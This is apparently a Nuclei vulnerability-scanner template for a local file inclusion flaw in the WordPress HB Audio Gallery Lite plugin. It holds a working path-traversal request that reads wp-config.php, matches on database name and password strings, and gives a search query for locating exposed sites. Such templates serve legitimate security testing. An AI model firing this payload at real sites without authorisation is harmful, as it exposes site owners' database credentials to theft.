id: hb-audio-lfi

info:
  name: Wordpress HB Audio Gallery Lite - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: Wordpress HB Audio Gallery Lite is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/136340/WordPress-HB-Audio-Gallery-Lite-1.0.0-Arbitrary-File-Download.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
    google-query: inurl:/wp-content/plugins/hb-audio-gallery-lite
  tags: wp,packetstorm,wordpress,wp-plugin,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d8d02c4ed07eedbcbaebd976a9a2036f654f81dc8cad4c7d057863cff7c9da2702203f0f1bee4d3a81177b4a826bc578c15833d41609f3e88ec2b26c4e6beb408a8c:922c64590222798bb761d5b6d8e72950